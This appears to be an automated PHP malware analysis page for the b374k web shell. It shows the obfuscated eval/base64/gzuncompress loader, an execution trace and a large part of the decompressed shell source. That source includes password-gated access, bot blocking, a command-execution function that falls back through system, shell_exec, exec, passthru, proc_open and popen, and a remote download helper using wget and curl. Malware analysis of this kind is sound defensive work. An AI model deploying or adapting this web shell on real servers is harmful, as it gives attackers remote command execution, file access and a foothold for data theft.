PHP Malware Analysis

b374k.php

md5: 8666f475243a5bf53c824f8c926bfd5e

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

Failed to deobfuscate code

Execution traces

data/traces/8666f475243a5bf53c824f8c926bfd5e_trace-1676262410.5851.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 02:27:16.482966]
1	0	1	0.000150	393512
1	3	0	0.000848	509600	{main}	1		/var/www/html/uploads/b374k.php	0	0
2	4	0	0.000897	509600	error_reporting	0		/var/www/html/uploads/b374k.php	2	1	0
2	4	1	0.000916	509640
2	4	R			22527
1		A						/var/www/html/uploads/b374k.php	3	GLOBALS['pass'] = 'd19d233ea02f532172b201d2c0511fdbc416ee6f'
1		A						/var/www/html/uploads/b374k.php	4	$a = 'create_function'
2	5	0	0.000961	509600	create_function	0		/var/www/html/uploads/b374k.php	4	2	'$x'	'eval("?>".gzuncompress(base64_decode($x)));'
3	6	0	0.000993	511136	{internal eval}	1		/var/www/html/uploads/b374k.php	4	0
3	6	1	0.001006	511136
3	6	R			NULL
2	5	1	0.001021	510616
2	5	R			'\000lambda_9'
1		A						/var/www/html/uploads/b374k.php	4	$b = '\000lambda_9'
2	7	0	0.001048	510552	__lambda_func	1		/var/www/html/uploads/b374k.php	4	1	'eNrs/Wm74jiyKAp/r19Br5O311qbzLTBgO3Kyuw2YDPPxgxddfPxbIMnPGK6+r9fyTZghjVkVe39nveeW/10LiyFQiEpFIoISaFf/uFoTuFDqz+qU/3Zvx5NWwoM+btvfzdsXnr8rfC1wLsuHz89yHvHsF3ZffhYePBl19Qt3oC/5TD9K9pWKLs+/CnxPi/wngx/65Ziw78mrydgluxHtruFPx3XFmXPk72H5y//+PYLpOSnMyWu7NmBCwAef/vXo4DhlW1CzYPGLdeuO6jQVk3dUFOtQcR2n9SWE1JtSuW91q3GEYGwG2QkK7g/ns1aWDfarLllXFKMNWqJSD8MtkiP0sw2sSGdgTafEzxRqzT21gRbVJU+E5m9qqIvK12O3FsxaRMtrFxk946288iGstFmu6Ym6x5nb7ZGW2gPxX5zWMLbXb61dZrtliYxTWdrWEsJ4YcR3xqo3EK1l3abM8vhbusvsDFtbpvIGm/U/VmPibjVcrQkSpGkIeZqaGpk'
3	8	0	0.001151	510552	base64_decode	0		/var/www/html/uploads/b374k.php(4) : runtime-created function	1	1	'eNrs/Wm74jiyKAp/r19Br5O311qbzLTBgO3Kyuw2YDPPxgxddfPxbIMnPGK6+r9fyTZghjVkVe39nveeW/10LiyFQiEpFIoISaFf/uFoTuFDqz+qU/3Zvx5NWwoM+btvfzdsXnr8rfC1wLsuHz89yHvHsF3ZffhYePBl19Qt3oC/5TD9K9pWKLs+/CnxPi/wngx/65Ziw78mrydgluxHtruFPx3XFmXPk72H5y//+PYLpOSnMyWu7NmBCwAef/vXo4DhlW1CzYPGLdeuO6jQVk3dUFOtQcR2n9SWE1JtSuW91q3GEYGwG2QkK7g/ns1aWDfarLllXFKMNWqJSD8MtkiP0sw2sSGdgTafEzxRqzT21gRbVJU+E5m9qqIvK12O3FsxaRMtrFxk946288iGstFmu6Ym6x5nb7ZGW2gPxX5zWMLbXb61dZrtliYxTWdrWEsJ4YcR3xqo3EK1l3abM8vhbusvsDFtbpvIGm/U/VmPibjVcrQkSpGkIeZqaGpk'
3	8	1	0.001508	625272
3	8	R			'x��i��8�(\n�_A����Z�̴������6`3��\f]u��l�\'<b���_�6`�5dU���[�t.,�B!)\024�\bI�_��hN�C�?�S�ٿ\036M[\n\f��o7l^z���.\037?=�{ǰ]�}�Xx�e��-ހ��0�+�V(�>�)�>/�\f�bÿ&�\'`��G���?\035�\026eϓ���/���\v��3%��ف\v\000\036�ף��mB̓�-׮;��VM�PS�A�v�Ԗ\023RmJ�֭�\021��\033d$+�?��ZX7ڬ�e\\R�5j�H?\f�H���6�!��6�\023<Q�4��\004[T�>\023����/+]��[1i\023-�\\d����Ȇ��f��&�\036go�F[h\017�~sX��]��u��&1MgkXK\t�\021�\032��B��v�3��n�/�1mn��\032o�Y����r�$J��!�jhjd\020�;\vk���%�Z�t�(l&�p�+�.U$l}I6ꈂJf��\016\025�E[n��\0'
3	9	0	0.002946	625240	gzuncompress	0		/var/www/html/uploads/b374k.php(4) : runtime-created function	1	1	'x��i��8�(\n�_A����Z�̴������6`3��\f]u��l�\'<b���_�6`�5dU���[�t.,�B!)\024�\bI�_��hN�C�?�S�ٿ\036M[\n\f��o7l^z���.\037?=�{ǰ]�}�Xx�e��-ހ��0�+�V(�>�)�>/�\f�bÿ&�\'`��G���?\035�\026eϓ���/���\v��3%��ف\v\000\036�ף��mB̓�-׮;��VM�PS�A�v�Ԗ\023RmJ�֭�\021��\033d$+�?��ZX7ڬ�e\\R�5j�H?\f�H���6�!��6�\023<Q�4��\004[T�>\023����/+]��[1i\023-�\\d����Ȇ��f��&�\036go�F[h\017�~sX��]��u��&1MgkXK\t�\021�\032��B��v�3��n�/�1mn��\032o�Y����r�$J��!�jhjd\020�;\vk���%�Z�t�(l&�p�+�.U$l}I6ꈂJf��\016\025�E[n��\0'
3	9	1	0.005064	838264
3	9	R			'<?php $GLOBALS[\'module_to_load\'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");?><?php\n$GLOBALS[\'resources\'][\'b374k\'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlB'
3	10	0	0.009593	1480608	eval	1	'?><?php $GLOBALS[\'module_to_load\'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");?><?php\n$GLOBALS[\'resources\'][\'b374k\'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6LXcaFMUH/teZTS3ENIE+QU2EUIOdVLjNHIDNrCjm1v/0vfbla4fmZyMymiqZn1uwrwLoF2sGzo/3WF6+m1XYL9KlKe7NzfZifT63w5JiENgVaRzIhx0CwCSCUB/AkCaCS4Ag5Z6LgtDx2N89Ysv3oBx60jwdzDLn5gdf+Hc//R7x7zdIffjwfpRw5OJJH3MVifMD8lL9zSCUheeayBLkKNAfG/pE3+g72xutwRB81m2gDTblZgroD3z9t3xRNVMTtE5CwfnGzDTgH1sP/8GBumjy8dung/MBz/o53/iPe+vHdwP9PLX5qlGd+1aPfOvK33He//eo/D/4XGCKTpSbBAlSVg+XT51mtIveF8kPtc+/oh+s7XKA0yVMyc1czK0m5FcizEtp3j9Uobo/VtFeRWwLVL9WirnUKcXlW93Szk17izDlPcX1EFbigsg1m4Bu3L7f8clGbN3VPcKlMC+WaGsjbLV5xpLikFwYn4nK/PwUux5s7Te7nMFjWuTxPwuXfN+fWDrpVEkUS5Ex458opjhDcjLNQQz05SfRiic/yxJYClJJ0GalwMFCLbU6gX550e9lKYn/sJnMVyGGiXy3NOwrpYvKrdGmF09vrvuSXhePUbezJ83DWELlMCqstgB6mN1DFTqlRJFHYXuoQS8VC57CK9a0j0aZJLwEtMql9hnM1CqajXPlsJmLrdJKyeyDCFF28zPzy/BwbK7F5Xa06LEld9yvNS5eEenjezdVXtzNGOeQowW+W0C5CpCdqTQ2rFy2snHfB5tLaxnjaATL3yDQw3ntK3pgFvqi3FeCPK7MNmeabrjgNujuF9XNHOT3yyrwS9lo0uWcT88uuFc0DDYnnO67Z2Iz9YA/06Nlnx6J76pWMd30jVPZGJDyv1qD4ioVxDtUloC8V2z4sSC9TJIZ5vFfrmY+EPCJSo3cjcFMDdBGWV3zCZ+Lga+VMThJhf7Wtqk8CO8uPgbFdr+pAL/ElXfq9aIzto2QY6WVupahhDceF44u7I/TE31hQI2KEiKvhc7bGjxbwGOxaCTKptWrZ3XMauYmqNLoVb4PhzUbTO0RLQ3T8zTOfK3wjk+6V52G/Lhhp7t65JjIFRMMJHjrilgb9VGKGbSbA6/4pfXGV29gx2755aq2/juOiGvnu325kquDsPUi7EG/wO6zHjEhlVTHv8G4hcjaT8nnqPPRmhdlaOYGmrsFcoggzVNpbBl9f4TlK6bWQoqUOnnnK8plsdesZ7WhmFVsSuPOx1BHp45oUpElV7XhhE/TYvfFXKszKl7t7TkzpzJO8l6zI9ki1soLaypb96wl3/cBydJKPVPWP/wI=";\n$GLOBALS[\'resources\'][\'mime\'] = "dZThdqMgEIX/7zn7DvMC2jZ62t3HmQgaGkepCDFvvxeNis32xx3huwMYmUkwSvcvRWMtIfz+Fbb5CeC0gsvp/Y1iSEARQZGAMoJyBZ9WN/Rpm7ADoUWNrEw+T7TIbmeJLemhgNCUu4EdH2EekLwh47Sd0DcN9fuBX95U19GIpq+RpN946FSudKXziyIfLlC4PHnSn02r4Un05cm3ca2Nnn3yXPRc9NyTN0+jFXV8pXDO63gmBimvw0hQiuJH8ENLMnmS0h8sl9mW74Nmdc9FK8O5vQeC0iyc7fP4kX3w8UUOWwQTekJY2U2fhWJYwZTVuBooAa0hKAXIaJMMibeZLhEeh95dmeQK51ooBJfYHe64axLgMnY1LZoOPPRngg7shneWbyQAhW9sAjvudgtg4cCWW+OQ/EDXmAxFZTTNMTFwjIvHsFemf2FlKyHEFZzZmYrYk+vUysQoQwg0D6480CBmM5dm4H2+tAC+HLoUioMCjYBnsWUtzcAUn85OK3aFELRNTXslhHW+1ek8RWlwLA8+2KYxI7fZzXTKke6Pawcm6IBGR9A3FJsPj4tKeesr3Y156E2lqQ029f5b2IzCPhzWeT1wjh/Q2vLP6yttox+SPsqPR1Ic/ZD0933dKY7SpMFYgla0dsr2SlPGjLvmKgGmRgGbWXNIvIprgnZQt1gew46StkmO2f4RCp9A1DKjlnk6MmHUfLLYdhk+a7tc+cBCww8mbsA3pkNx2j3hxmgr3up9EprkHw==";\n$GLOBALS[\'resources\'][\'arrow\'] = "FZXHDqtYDIYfKCPRS2Z0F4cSem+BHfVQA6HD00+uF/Zny2XzSy7SNf23GVJYItMH/pelS0mT/zQhZ7kHqklwBD8zvaAWA/gj/m8KIA/iX+Du8jOjfwv8m1Oit/Gjxfs5XYSyR7wZ9sdiLPaiE7rxwYZvDz3z0G0fN9Pt1PqiDLuyRgzA7sVpo2NvL3Cdy6p1eSS3Um21eZqfW2uc6Xc9STYjG0E8zybZ3lxYrGLgmij6FTgD+oE1fHzRyB9IXpIFlT+6J8XARNRivqAELyNW694fBYKgdQ54i2RquOgoIwOqEpRK6G66qk4HjFCAWX9NRp5cU6hMsdvSQhiGCXr7Hmfyl/TaR9KwjDxldWNp9wx7zux2sY0uWUABDxUQWhoG2Dt8WlOYIuH8fjpej0l0Ag3k01AHYyLNNo7exzAS7jczTk5oogzNlETVL5g2TcLYQI7n5y+9dRXzgN4z19fKr4mPCsLm+Z4fhc9nFab7ORjMJSOarH0XxJM8bMHBKhENzgreEnB4RwFNgUb1wm6yMFd9syRt0rPChFJ4e7D2md63/czFE+B2LsNxEpkwZeLntSUuUyuCTZGb0bYMBi9PfT3ACaK/fYdUE8GzeuLXbI0WiI/zRT7snWMV7vXc0BLFwQvIfSYKjgtoIiKJO8reFV4ahnMA1JRdKx1HMiyyMoZnMgQX7W2Jb4/tudaDRtJOUgZY5FAFbpEnYQiABEU5E+XyKu3pqRizh676B29Ssyk1ZZcZwLKwlms5igcnOp1+1ekSSQK9Lv0S2ZnH92jrgEbjN0b9dO44OK4Z4mIc2VxoxxZepzO+WLzcJrra8wYG5RKqDNe3w+ODQnrPzk+OyZo+z8kL8HK3XNhcc7Cy92cVYW3WsVZpSzZCVEopMlUun/XlOFzTWnVpt8ShAFmZsxVB3sNWkvLAUSxdyhWMgea1yH4jJVBb3QaAFPrxU3v6VD7DsFpOCVxSwRZsTFsw6Ga1qFmVUxS3tV9WjJkhkxZAMaHLA7+0NJ7dy9abkmqhppR9oAYIJM9g3OHTD+8+wQtkYMCiHSxQxMEzWvkktKPzgskfd/F3m4WH09lAfUtThQ+JA2pMvbnJ6t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzIHEuXxVYD3J+qt9oQ4PJqsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";\n?><?php\n$GLOBALS[\'ver\'] = "3.2.3";\n$GLOBALS[\'title\'] = "b374k"; @ob_start();\nerror_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);\n@ini_set(\'html_errors\',\'0\');\n@ini_set(\'display_errors\',\'1\');\n@ini_set(\'display_startup_errors\',\'1\');\n@ini_set(\'log_errors\',\'0\');\n@set_time_limit(0);\n@clearstatcache(); if(!function_exists(\'auth\')){ function auth(){ if(isset($GLOBALS[\'pass\']) && (trim($GLOBALS[\'pass\'])!=\'\')){ $c = $_COOKIE; $p = $_POST; if(isset($p[\'pass\'])){ $your_pass = sha1(md5($p[\'pass\'])); if($your_pass==$GLOBALS[\'pass\']){ setcookie("pass", $your_pass, time()+36000, "/"); header("Location: ".get_self()); } } if(!isset($c[\'pass\']) || ((isset($c[\'pass\'])&&($c[\'pass\']!=$GLOBALS[\'pass\'])))){ $res = "<!doctype html> <html> <head> <meta charset=\'utf-8\'> <meta name=\'robots\' content=\'noindex, nofollow, noarchive\'> <meta name=\'viewport\' content=\'width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0\'> </head> <body style=\'background:#f8f8f8;color:#000000;padding:0;margin:0;\'><br><p><center><noscript>You need to enable javascript</noscript></center></p> <script type=\'text/javascript\'> var d = document; d.write(\\"<br><br><form method=\'post\'><center><input type=\'password\' id=\'pass\' name=\'pass\' style=\'font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;\'></center></form>\\"); d.getElementById(\'pass\').focus(); d.getElementById(\'pass\').setAttribute(\'autocomplete\', \'off\'); </script> </body></html> "; echo $res; die(); } } }\n} if(!function_exists(\'get_server_info\')){ function get_server_info(){ $server_addr = isset($_SERVER[\'SERVER_ADDR\'])? $_SERVER[\'SERVER_ADDR\']:$_SERVER["HTTP_HOST"]; $server_info[\'ip_adrress\'] = "Server IP : ".$server_addr." <span class=\'strong\'>|</span> Your IP : ".$_SERVER[\'REMOTE_ADDR\']; $server_info[\'time_at_server\'] = "Time <span class=\'strong\'>@</span> Server : ".@date("d M Y H:i:s",time()); $server_info[\'uname\'] = php_uname(); $server_software = (getenv(\'SERVER_SOFTWARE\')!=\'\')? getenv(\'SERVER_SOFTWARE\')." <span class=\'strong\'>|</span> ":\'\'; $server_info[\'software\'] = $server_software." PHP ".phpversion(); return $server_info; }\n} if(!function_exists(\'get_self\')){ function get_self(){ $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:""; return html_safe($_SERVER["REQUEST_URI"].$query); }\n} if(!function_exists(\'get_post\')){ function get_post(){ return fix_magic_quote($_POST); }\n} if(!function_exists(\'get_nav\')){ function get_nav($path){ return parse_dir($path); }\n} if(!function_exists(\'get_cwd\')){ function get_cwd(){ $cwd = getcwd().DIRECTORY_SEPARATOR; if(!isset($_COOKIE[\'cwd\'])){ setcookie("cwd", $cwd); } else{ $cwd_c = rawurldecode($_COOKIE[\'cwd\']); if(is_dir($cwd_c)) $cwd = realpath($cwd_c).DIRECTORY_SEPARATOR; else setcookie("cwd", $cwd); } return $cwd; }\n} if(!function_exists(\'wrap_with_quotes\')){ function wrap_with_quotes($str){ return "\\"".$str."\\""; }\n} if(!function_exists(\'get_resource\')){ function get_resource($type){ if(isset($GLOBALS[\'resources\'][$type])){ return gzinflate(base64_decode($GLOBALS[\'resources\'][$type])); } return false; }\n} if(!function_exists(\'block_bot\')){ function block_bot(){ if(isset($_SERVER[\'HTTP_USER_AGENT\']) && (preg_match(\'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i\', $_SERVER[\'HTTP_USER_AGENT\']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER[\'HTTP_USER_AGENT\'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } }\n} if(!function_exists(\'is_win\')){ function is_win(){ return (strtolower(substr(php_uname(),0,3)) == "win")? true : false; }\n} if(!function_exists(\'fix_magic_quote\')){ function fix_magic_quote($arr){ $quotes_sybase = strtolower(ini_get(\'magic_quotes_sybase\')); if(function_exists(\'get_magic_quotes_gpc\') && get_magic_quotes_gpc()){ if(is_array($arr)){ foreach($arr as $k=>$v){ if(is_array($v)) $arr[$k] = clean($v); else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === \'off\')? stripslashes($v) : stripslashes(str_replace("\\\'\\\'", "\\\'", $v)); } } } return $arr; }\n} if(!function_exists(\'execute\')){ function execute($code){ $output = ""; $code = $code." 2>&1"; if(is_callable(\'system\') && function_exists(\'system\')){ ob_start(); @system($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable(\'shell_exec\') && function_exists(\'shell_exec\')){ $output = @shell_exec($code); if(!empty($output)) return $output; } elseif(is_callable(\'exec\') && function_exists(\'exec\')){ @exec($code,$res); if(!empty($res)) foreach($res as $line) $output .= $line; if(!empty($output)) return $output; } elseif(is_callable(\'passthru\') && function_exists(\'passthru\')){ ob_start(); @passthru($code); $output = ob_get_contents(); ob_end_clean(); if(!empty($output)) return $output; } elseif(is_callable(\'proc_open\') && function_exists(\'proc_open\')){ $desc = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")); $proc = @proc_open($code, $desc, $pipes, getcwd(), array()); if(is_resource($proc)){ while($res = fgets($pipes[1])){ if(!empty($res)) $output .= $res; } while($res = fgets($pipes[2])){ if(!empty($res)) $output .= $res; } } @proc_close($proc); if(!empty($output)) return $output; } elseif(is_callable(\'popen\') && function_exists(\'popen\')){ $res = @popen($code, \'r\'); if($res){ while(!feof($res)){ $output .= fread($res, 2096); } pclose($res); } if(!empty($output)) return $output; } return ""; }\n} if(!function_exists(\'html_safe\')){ function html_safe($str){ return htmlspecialchars($str, 2 | 1); }\n} if(!function_exists(\'parse_dir\')){ function parse_dir($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $paths = explode(DIRECTORY_SEPARATOR, $path); $res = ""; for($i = 0; $i < sizeof($paths)-1; $i++){ $x = ""; for($j = 0; $j <= $i; $j++) $x .= $paths[$j].DIRECTORY_SEPARATOR; $res .= "<a class=\'navbar\' data-path=\'".html_safe($x)."\'>".html_safe($paths[$i])." ".DIRECTORY_SEPARATOR." </a>"; } if(is_win()) $res = get_drives().$res; return trim($res); }\n} if(!function_exists(\'zip\')){ function zip($files, $archive){ $status = false; if(!extension_loaded(\'zip\')) return $status; if(class_exists("ZipArchive")){ $zip = new ZipArchive(); if(!$zip->open($archive, 1)) return $status; if(!is_array($files)) $files = array($files); foreach($files as $file){ $file = str_replace(get_cwd(), \'\', $file); $file = str_replace(\'\\\\\', \'/\', $file); if(is_dir($file)){ $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1); foreach($filesIterator as $iterator){ $iterator = str_replace(\'\\\\\', \'/\', $iterator); if(in_array(substr($iterator, strrpos($iterator, \'/\')+1), array(\'.\', \'..\'))) continue; if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.\'/\', \'\', $iterator.\'/\')); else if(is_file($iterator)) $zip->addFromString(str_replace($file.\'/\', \'\', $iterator), read_file($iterator)); } } elseif(is_file($file)) $zip->addFromString(basename($file), read_file($file)); } if($zip->getStatusString()!==false) $status = true; $zip->close(); } return $status; }\n} if(!function_exists(\'compress\')){ function compress($type, $archive, $files){ if(!is_array($files)) $files = array($files); if($type==\'zip\'){ if(zip($files, $archive)) return true; else return false; } elseif(($type==\'tar\')||($type==\'targz\')){ $archive = basename($archive); $listsBasename = array_map("basename", $files); $lists = array_map("wrap_with_quotes", $listsBasename); if($type==\'tar\') execute("tar cf \\"".$archive."\\" ".implode(" ", $lists)); elseif($type==\'targz\') execute("tar czf \\"".$archive."\\" ".implode(" ", $lists)); if(is_file($archive)) return true; else return false; } return false; }\n} if(!function_exists(\'decompress\')){ function decompress($type, $archive, $path){ $path = realpath($path).DIRECTORY_SEPARATOR; $status = false; if(is_dir($path)){ chdir($path); if($type==\'unzip\'){ if(class_exists(\'ZipArchive\')){ $zip = new ZipArchive(); $target = $path.basename($archive,".zip"); if($zip->open($archive)){ if(!is_dir($target)) mkdir($target); if($zip->extractTo($target)) $status = true; $zip->close(); } } } elseif($type==\'untar\'){ $target = basename($archive,".tar"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xf \\"".basename($archive)."\\" -C \\"".$target."\\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } elseif($type==\'untargz\'){ $target = ""; if(strpos(strtolower($archive), ".tar.gz")!==false) $target = basename($archive,".tar.gz"); elseif(strpos(strtolower($archive), ".tgz")!==false) $target = basename($archive,".tgz"); if(!is_dir($target)) mkdir($target); $before = count(get_all_files($target)); execute("tar xzf \\"".basename($archive)."\\" -C \\"".$target."\\""); $after = count(get_all_files($target)); if($before!=$after) $status = true; } } return $status; }\n} if(!function_exists(\'download\')){ function download($url ,$saveas){ if(!preg_match("/[a-z]+:\\/\\/.+/",$url)) return false; $filename = basename($url); if($content = read_file($url)){ if(is_file($saveas)) unlink($saveas); if(write_file($saveas, $content)){ return true; } } $buff = execute("wget ".$url." -O ".$saveas); if(is_file($saveas)) return true; $buff = execute("curl ".$url." -o ".$saveas); if(is_file($saveas)) return true; $buff = execute("lwp-download ".$url." ".$saveas); if(is_file($saveas)) return true; $buff = execute("lynx -source ".$url." > ".$saveas); if(is_file($saveas)) return true; return false; }\n} if(!function_exists(\'get_fileperms\')){ function get_fileperms($file){ if($perms = @fileperms($file)){ $flag = \'u\'; if(($perms & 0xC000) == 0xC000)$flag = \'s\'; elseif(($perms & 0xA000) == 0xA000)$flag = \'l\'; elseif(($perms & 0x8000) == 0x8000)$flag = \'-\'; elseif(($perms & 0x6000) == 0x6000)$flag = \'b\'; elseif(($perms & 0x4000) == 0x4000)$flag = \'d\'; elseif(($perms & 0x2000) == 0x2000)$flag = \'c\'; elseif(($perms & 0x1000) == 0x1000)$flag = \'p\'; $flag .= ($perms & 00400)? \'r\':\'-\'; $flag .= ($perms & 00200)? \'w\':\'-\'; $flag .= ($perms & 00100)? \'x\':\'-\'; $flag .= ($perms & 00040)? \'r\':\'-\'; $flag .= ($perms & 00020)? \'w\':\'-\'; $flag .= ($perms & 00010)? \'x\':\'-\'; $flag .= ($perms & 00004)? \'r\':\'-\'; $flag .= ($perms & 00002)? \'w\':\'-\'; $flag .= ($perms & 00001)? \'x\':\'-\'; return $flag; } else return "???????????"; }\n} if(!function_exists(\'format_bit\')){ function format_bit($size){ $base = log($size) / log(1024); $suffixes = array(\'B\',\'KB\',\'MB\',\'GB\',\'TB\',\'PB\',\'EB\',\'ZB\',\'YB\'); return round(pow(1024, $base - floor($base)),2)." ".$suffixes[floor($base)]; }\n} if(!function_exists(\'get_filesize\')){ function get_filesize($file){ $size = @filesize($file); if($size!==false){ if($size<=0) return 0; return format_bit($size); } else return "???"; }\n} if(!function_exists(\'get_filemtime\')){ function get_filemtime($file){ return @date("d-M-Y H:i:s", filemtime($file)); }\n} if(!function_exists(\'get_fileowner\')){ function get_fileowner($file){ $owner = "?:?"; if(function_exists("posix_getpwuid")){ $name = posix_getpwuid(fileowner($file)); $group = posix_getgrgid(filegroup($file)); $owner = $name[\'name\'].":".$group[\'name\']; } return $owner; }\n} if(!function_exists(\'rmdirs\')){ function rmdirs($dir, $counter = 0){ if(is_dir($dir)) $dir = realpath($dir).DIRECTORY_SEPARATOR; if($dh = opendir($dir)){ while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ $f = $dir.$f; if(@is_dir($f)) $counter += rmdirs($f); else{ if(unlink($f)) $counter++; } } } closedir($dh); if(rmdir($dir)) $counter++;; } return $counter; }\n} if(!function_exists(\'copys\')){ function copys($source , $target ,$c=0){ $source = realpath($source).DIRECTORY_SEPARATOR; if($dh = opendir($source)){ if(!is_dir($target)) mkdir($target); $target = realpath($target).DIRECTORY_SEPARATOR; while(($f = readdir($dh))!==false){ if(($f!=\'.\')&&($f!=\'..\')){ if(is_dir($source.$f)){ copys($source.$f, $target.$f, $c); } else{ if(copy($source.$f, $target.$f)) $c++; } } } closedir($dh); } return $c; }\n} if(!function_exists(\'get_all_files\')){ function get_all_files($path){ $path = realpath($path).DIRECTORY_SEPARATOR; $files = glob($path.\'*\'); for($i = 0; $i<count($files); $i++){ if(is_dir($files[$i])){ $subdir = glob($files[$i].DIRECTORY_SEPARATOR.\'*\'); if(is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir); } } return $files; }\n} if(!function_exists(\'read_file\')){ function read_file($file){ $content = false; if($fh = @fopen($file, "rb")){ $content = ""; while(!feof($fh)){ $content .= fread($fh, 8192); } } return $content; }\n} if(!function_exists(\'write_file\')){ function write_file($file, $content){ if($fh = @fopen($file, "wb")){ if(fwrite($fh, $content)!==false) return true; } return false; }\n} if(!function_exists(\'view_file\')){ function view_file($file, $type, $preserveTimestamp=\'true\'){ $output = ""; if(is_file($file)){ $dir = dirname($file); $owner = ""; if(!is_win()){ $owner = "<tr><td>Owner</td><td>".get_fileowner($file)."</td></tr>"; } $image_info = @getimagesize($file); $mime_list = get_resource(\'mime\'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\\s]+)\\ .*\\b".$file_ext."\\b.*/i", $mime_list, $res)){ $mime = $res[1]; } } if($type=="auto"){ if(is_array($image_info)) $type = \'image\'; elseif(!empty($mime)) $type = "multimedia"; else $type = "raw"; } $content = ""; if($type=="code"){ $hl_arr = array( "hl_default"=> ini_get(\'highlight.default\'), "hl_keyword"=> ini_get(\'highlight.keyword\'), "hl_string"=> ini_get(\'highlight.string\'), "hl_html"=> ini_get(\'highlight.html\'), "hl_comment"=> ini_get(\'highlight.comment\') ); $content = highlight_string(read_file($file),true); foreach($hl_arr as $k=>$v){ $content = str_replace("<font color=\\"".$v."\\">", "<font class=\'".$k."\'>", $content); $content = str_replace("<span style=\\"color: ".$v."\\">", "<span class=\'".$k."\'>", $content); } } elseif($type=="image"){ $width = (int) $image_info[0]; $height = (int) $image_info[1]; $image_info_h = "Image type = <span class=\'strong\'>(</span> ".$image_info[\'mime\']." <span class=\'strong\'>)</span><br> Image Size = <span class=\'strong\'>( </span>".$width." x ".$height."<span class=\'strong\'> )</span><br>"; if($width > 800){ $width = 800; $imglink = "<p><a id=\'viewFullsize\'> <span class=\'strong\'>[ </span>View Full Size<span class=\'strong\'> ]</span></a></p>"; } else $imglink = ""; $content = "<center>".$image_info_h."<br>".$imglink." <img id=\'viewImage\' style=\'width:".$width."px;\' src=\'data:".$image_info[\'mime\'].";base64,".base64_encode(read_file($file))."\' alt=\'".$file."\'></center> "; } elseif($type=="multimedia"){ $content = "<center> <video controls> <source src=\'\' type=\'".$mime."\'> </video> <p><span class=\'button\' 